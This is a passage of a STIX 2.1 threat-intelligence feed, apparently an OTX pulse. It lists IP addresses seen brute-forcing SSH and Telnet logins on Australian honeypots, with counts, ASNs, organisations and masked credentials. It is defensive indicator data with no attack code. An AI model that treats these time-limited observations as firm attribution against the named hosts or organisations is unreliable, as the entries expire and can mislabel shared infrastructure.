      "modified": "2026-04-28T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '77.39.19.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T19:15:15.000Z",
      "valid_until": "2026-05-30T19:15:09.000Z"
    },
    {
      "created": "2026-04-28T20:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--58153ae2-ec6e-49d8-88ad-2272b7ddafd2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.232.138.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T20:15:11.000Z",
      "valid_until": "2026-05-30T20:15:09.000Z"
    },
    {
      "created": "2026-04-28T20:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 50581. Organisation(s): Ukrainian Telecommunication Group LLC.",
      "id": "indicator--12754d4b-e163-4156-a7b7-3043040d8a5a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.122.105.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T20:15:11.000Z",
      "valid_until": "2026-05-30T20:15:09.000Z"
    },
    {
      "created": "2026-04-28T20:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda.",
      "id": "indicator--3401cd97-294b-4049-b438-a9b1fab35e98",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '187.180.160.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T20:15:11.000Z",
      "valid_until": "2026-05-30T20:15:09.000Z"
    },
    {
      "created": "2026-04-28T20:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation.",
      "id": "indicator--aba3ebb4-873c-4ba2-925e-90b70c7e9daa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '196.189.184.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T20:15:11.000Z",
      "valid_until": "2026-05-30T20:15:09.000Z"
    },
    {
      "created": "2026-04-28T20:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--eddc44e3-c0b7-44db-9156-4da72c5fda2f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.80.105.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T20:15:11.000Z",
      "valid_until": "2026-05-30T20:15:09.000Z"
    },
    {
      "created": "2026-04-28T20:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 17854. Organisation(s): SK Broadband Co Ltd.",
      "id": "indicator--6bef47fa-2b06-4b26-b3cb-c8e4f71ad0b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '211.232.241.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T20:15:11.000Z",
      "valid_until": "2026-05-30T20:15:09.000Z"
    },
    {
      "created": "2026-04-28T20:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 13188. Organisation(s): Content Delivery Network Ltd.",
      "id": "indicator--8b441055-561d-4f2b-a2bb-9b70100b710e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '37.46.252.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T20:15:11.000Z",
      "valid_until": "2026-05-30T20:15:09.000Z"
    },
    {
      "created": "2026-04-28T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 701. Organisation(s): Verizon Business.",
      "id": "indicator--3eacad00-b8f3-4bcd-800b-e77fb93efebf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '108.29.3.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T21:15:11.000Z",
      "valid_until": "2026-05-30T21:15:09.000Z"
    },
    {
      "created": "2026-04-28T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 9009. Organisation(s): M247 Europe SRL. Usernames observed (masked): d******m. Passwords observed (masked): 2************!.",
      "id": "indicator--36ed93df-d32e-43a6-812d-1f206c85132d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '146.70.117.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T21:15:11.000Z",
      "valid_until": "2026-05-30T21:15:09.000Z"
    },
    {
      "created": "2026-04-28T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: DE. ASN(s): 60729. Organisation(s): Stiftung Erneuerbare Freiheit.",
      "id": "indicator--5d5fa7a8-798f-494b-832a-b5056b51ae60",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T21:15:11.000Z",
      "valid_until": "2026-05-30T21:15:09.000Z"
    },
    {
      "created": "2026-04-28T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 216472. Organisation(s): High Speed For Internet Services L.L.C.",
      "id": "indicator--656e011f-7b58-4c9e-811d-773b434efaf9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '188.132.150.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T21:15:11.000Z",
      "valid_until": "2026-05-30T21:15:09.000Z"
    },
    {
      "created": "2026-04-28T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology.",
      "id": "indicator--45ee6f75-2023-4963-ad3f-875c0293afa6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T21:15:11.000Z",
      "valid_until": "2026-05-30T21:15:09.000Z"
    },
    {
      "created": "2026-04-28T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation.",
      "id": "indicator--eac80cc8-7485-472d-894b-aca65d90e435",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '196.189.245.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T21:15:11.000Z",
      "valid_until": "2026-05-30T21:15:09.000Z"
    },
    {
      "created": "2026-04-28T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--a79afa70-9c89-45bc-8dba-6d6aeb9abca5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.20.127.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T21:15:11.000Z",
      "valid_until": "2026-05-30T21:15:09.000Z"
    },
    {
      "created": "2026-04-28T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 268692. Organisation(s): G T Lopes & Ltda.",
      "id": "indicator--a8492c94-cb80-47ff-958b-11a699cf548f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.165.210.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T21:15:11.000Z",
      "valid_until": "2026-05-30T21:15:09.000Z"
    },
    {
      "created": "2026-04-28T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 200845. Organisation(s): Avatel Telecom, SA. Usernames observed (masked): m******r. Passwords observed (masked): s****r.",
      "id": "indicator--89d5618b-18f6-47a8-b466-029af457a5ed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '5.182.83.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T21:15:11.000Z",
      "valid_until": "2026-05-30T21:15:09.000Z"
    },
    {
      "created": "2026-04-28T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--e3494d83-68a8-47f0-9b2c-13f8d384ac9f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '51.222.46.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T21:15:11.000Z",
      "valid_until": "2026-05-30T21:15:09.000Z"
    },
    {
      "created": "2026-04-28T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--aed74ca7-6644-40f8-a90a-8bca4ce9cf89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '57.128.159.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T21:15:11.000Z",
      "valid_until": "2026-05-30T21:15:09.000Z"
    },
    {
      "created": "2026-04-28T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 12322. Organisation(s): Free SAS.",
      "id": "indicator--11a34156-d05c-4493-a87e-2b434b9d42b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.163.242.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T21:15:11.000Z",
      "valid_until": "2026-05-30T21:15:09.000Z"
    },
    {
      "created": "2026-04-28T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--32fa2dee-3898-4a34-b35c-c18392535aff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '96.127.172.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T21:15:11.000Z",
      "valid_until": "2026-05-30T21:15:09.000Z"
    },
    {
      "created": "2026-04-28T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--47a400b6-85af-4ee2-bf4a-582b39d460c5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.236.228.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T22:15:10.000Z",
      "valid_until": "2026-05-30T22:15:09.000Z"
    },
    {
      "created": "2026-04-28T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 271080. Organisation(s): SPACE NET WORLD TELECOM.",
      "id": "indicator--b71cea0e-f2be-42b5-873e-db80d64e3b39",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '177.86.139.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T22:15:10.000Z",
      "valid_until": "2026-05-30T22:15:09.000Z"
    },
    {
      "created": "2026-04-28T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14670. Organisation(s): WHG Hosting Services Ltd.",
      "id": "indicator--46c56396-64f5-4dec-b400-817325f96068",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '179.61.192.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T22:15:10.000Z",
      "valid_until": "2026-05-30T22:15:09.000Z"
    },
    {
      "created": "2026-04-28T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CL. ASN(s): 15311. Organisation(s): TELEFONICA EMPRESAS CHILE SA. Usernames observed (masked): d********r, r**t, 3**********4, o*****r, o**n. Passwords observed (masked): ***, 3***********4, 3**********4, 6****6, a******7.",
      "id": "indicator--92d4bb3e-94ad-4db0-90f3-54f33fbe56e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '186.103.169.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T22:15:10.000Z",
      "valid_until": "2026-05-30T22:15:09.000Z"
    },
    {
      "created": "2026-04-28T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 3816. Organisation(s): COLOMBIA TELECOMUNICACIONES S.A. ESP BIC.",
      "id": "indicator--54481c33-beb5-4a94-8d7b-a6c4cbd78ac3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '186.116.225.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T22:15:10.000Z",
      "valid_until": "2026-05-30T22:15:09.000Z"
    },
    {
      "created": "2026-04-28T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--c77073b2-a384-4508-9951-087657db8654",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.83.27.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T22:15:10.000Z",
      "valid_until": "2026-05-30T22:15:09.000Z"
    },
    {
      "created": "2026-04-28T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--30d1c40c-a3be-42ce-808b-f7fd506db4bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T22:15:10.000Z",
      "valid_until": "2026-05-30T22:15:09.000Z"
    },
    {
      "created": "2026-04-28T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 116. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation. Usernames observed (masked): r**t, u****u, 3**********4, a***n, ***. Passwords observed (masked): 1****1, 1***5, 3***********4, 3**********4, a*************3.",
      "id": "indicator--7207e8b3-9c78-41f6-849c-32232c175879",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '211.170.168.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T22:15:10.000Z",
      "valid_until": "2026-05-30T22:15:09.000Z"
    },
    {
      "created": "2026-04-28T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 142627. Organisation(s): Multilink International. Usernames observed (masked): g***t, 3**********4, ***, t**t, t***1. Passwords observed (masked): 1****3, ***, 3***********4, 3**********4, a***n.",
      "id": "indicator--def62ca2-a613-4585-ad70-53ca245a9117",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.171.69.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T23:15:11.000Z",
      "valid_until": "2026-05-30T23:15:09.000Z"
    },
    {
      "created": "2026-04-28T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--2f90a1f3-4697-402a-af32-a7b0fb5f0533",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '170.64.134.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T23:15:11.000Z",
      "valid_until": "2026-05-30T23:15:09.000Z"
    },
    {
      "created": "2026-04-28T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--a43ed3ed-55ff-4407-b5d6-1f403f6f914f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T23:15:11.000Z",
      "valid_until": "2026-05-30T23:15:09.000Z"
    },
    {
      "created": "2026-04-28T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group.",
      "id": "indicator--6bd36701-603e-4508-b7c1-4841f950381b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.74.242.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T23:15:11.000Z",
      "valid_until": "2026-05-30T23:15:09.000Z"
    },
    {
      "created": "2026-04-28T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 39493. Organisation(s): CJSC Kolomna-Sviaz TV.",
      "id": "indicator--b005b830-3fb5-4059-aaec-835cd0a01036",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '5.42.82.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T23:15:11.000Z",
      "valid_until": "2026-05-30T23:15:09.000Z"
    },
    {
      "created": "2026-04-28T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 12876. Organisation(s): Scaleway SAS. Usernames observed (masked): s********r. Passwords observed (masked): *.",
      "id": "indicator--a879945c-cf8a-4b97-b8fd-942b75ace6ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '51.15.145.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T23:15:11.000Z",
      "valid_until": "2026-05-30T23:15:09.000Z"
    },
    {
      "created": "2026-04-28T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 84. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--cfdba0fb-c09b-4301-b4eb-6cecd25f127f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '60.23.233.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T23:15:11.000Z",
      "valid_until": "2026-05-30T23:15:09.000Z"
    },
    {
      "created": "2026-04-29T00:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 142627. Organisation(s): Multilink International. Usernames observed (masked): u****u. Passwords observed (masked): A*******7.",
      "id": "indicator--78c540b4-f346-458c-b43c-ffb353ba25ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
